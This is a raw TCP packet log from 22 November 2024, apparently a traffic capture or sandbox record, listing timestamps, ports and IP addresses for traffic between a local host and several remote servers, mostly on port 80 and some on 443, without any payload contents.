Nov 22, 2024 14:44:00.987920046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.987972021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.988981962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.989027977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.989104986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.989171028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.990082026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.990134954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.990186930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.991230011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.991297960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.991374016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.991477013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.992358923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.992429018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.992465973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.992531061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.993506908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.993566990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.993691921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.993777990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.994621992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.994693041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.994725943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.994762897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.995738029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.995798111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.995832920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.995873928 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.996947050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.997001886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.997064114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.997217894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.997993946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.998128891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.998178005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.999164104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.999214888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.999342918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.999510050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.000358105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.000406027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.000468969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.000515938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.001434088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.001477003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.001486063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.001535892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.002542973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.002592087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.002700090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.002759933 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.003681898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.003735065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.040806055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.040863037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.040865898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.040908098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.041343927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.041408062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.041462898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.042474985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.042531967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.042567015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.042617083 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.043610096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.043684006 CET	443	49915	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:01.043687105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.043710947 CET	443	49915	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:01.043719053 CET	443	49915	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:01.043755054 CET	49915	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:01.043764114 CET	443	49915	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:01.043791056 CET	49915	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:01.043793917 CET	443	49915	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:01.043809891 CET	49915	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:01.043821096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.043839931 CET	49915	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:01.043862104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.044764996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.044821024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.044898987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.044943094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.045464039 CET	49915	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:01.045475006 CET	443	49915	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:01.045901060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.045945883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.046003103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.046236038 CET	443	49918	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:01.046260118 CET	443	49918	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:01.046317101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.046325922 CET	443	49918	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:01.046355009 CET	49918	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:01.046381950 CET	49918	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:01.047038078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.047082901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.047137022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.047178030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.048141956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.048219919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.048238039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.048398018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.049288988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.049357891 CET	49918	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:01.049366951 CET	443	49918	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:01.049388885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.049396038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.049427986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.050473928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.050515890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.050532103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.050568104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.051593065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.051645041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.051659107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.051701069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.052822113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.052855015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.052885056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.052911043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.053853035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.053869009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.053909063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.098623037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.098686934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.098702908 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.098730087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.099307060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.099370003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.099378109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.099416018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.100110054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.100150108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.100172043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.100228071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.101227045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.101311922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.101335049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.101372957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.102426052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.102531910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.102579117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.103526115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.103570938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.103593111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.103636980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.104619980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.104671001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.104697943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.104809046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.105767012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.105813026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.105819941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.105854988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.106939077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.106990099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.107004881 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.107059956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.108019114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.108071089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.108098030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.108144045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.109226942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.109275103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.109285116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.109329939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.110308886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.110321999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.110373974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.170311928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.170407057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.170409918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.170445919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.170880079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.170936108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.170967102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.171082973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.172127008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.172175884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.172437906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.172486067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.172566891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.172621965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.173604965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.173654079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.173856974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.173906088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.174724102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.174772024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.174796104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.174844027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.175846100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.175859928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.175903082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.176989079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.177086115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.177134991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.178112030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.178157091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.178169012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.178296089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.179219007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.179263115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.179323912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.179369926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.180407047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.180455923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.180506945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.232147932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.351780891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.375193119 CET	443	49920	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.375647068 CET	49920	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:01.375663996 CET	443	49920	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.376023054 CET	443	49920	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.376408100 CET	49920	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:01.376471996 CET	443	49920	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.376601934 CET	49920	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:01.423331022 CET	443	49920	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.469193935 CET	443	49921	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.469449043 CET	49921	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:01.469470978 CET	443	49921	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.469831944 CET	443	49921	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.470557928 CET	49921	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:01.470624924 CET	443	49921	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.470786095 CET	49921	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:01.515330076 CET	443	49921	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.683706045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.683789015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.683864117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.683907986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.684030056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.684072018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.684139967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.684180975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.684267998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.684484005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.685100079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.685147047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.685183048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.685244083 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.686181068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.686234951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.686312914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.686358929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.687278986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.687329054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.687402964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.687443018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.688420057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.688519955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.688975096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.689513922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.689568043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.689624071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.689677954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.690610886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.690670013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.690700054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.690738916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.691719055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.691764116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.691847086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.691894054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.692776918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.692823887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.692899942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.692941904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.693906069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.693918943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.693955898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.693975925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.695060968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.695072889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.695127964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.696038961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.696094036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.696158886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.696202993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.697105885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.697154045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.697220087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.697269917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.698242903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.698297024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.698362112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.698453903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.699279070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.699326038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.699346066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.699392080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.700427055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.700438023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.700478077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.700500011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.701519966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.701575041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.701630116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.701719999 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.702589989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.702636003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.702712059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.702769995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.703665018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.703713894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.703785896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.703831911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.704780102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.704835892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.704900980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.704968929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.705935955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.705948114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.705991030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.707158089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.707206011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.707231998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.707247972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.708091974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.708142996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.708205938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.708260059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.709177017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.709287882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.709348917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.710261106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.710342884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.710355997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.710452080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.711375952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.711432934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.711489916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.711607933 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.712449074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.712500095 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.712517977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.712553024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.713630915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.713680029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.713710070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.713752031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.714654922 CET	80	49819	185.215.113.206	192.168.2.6
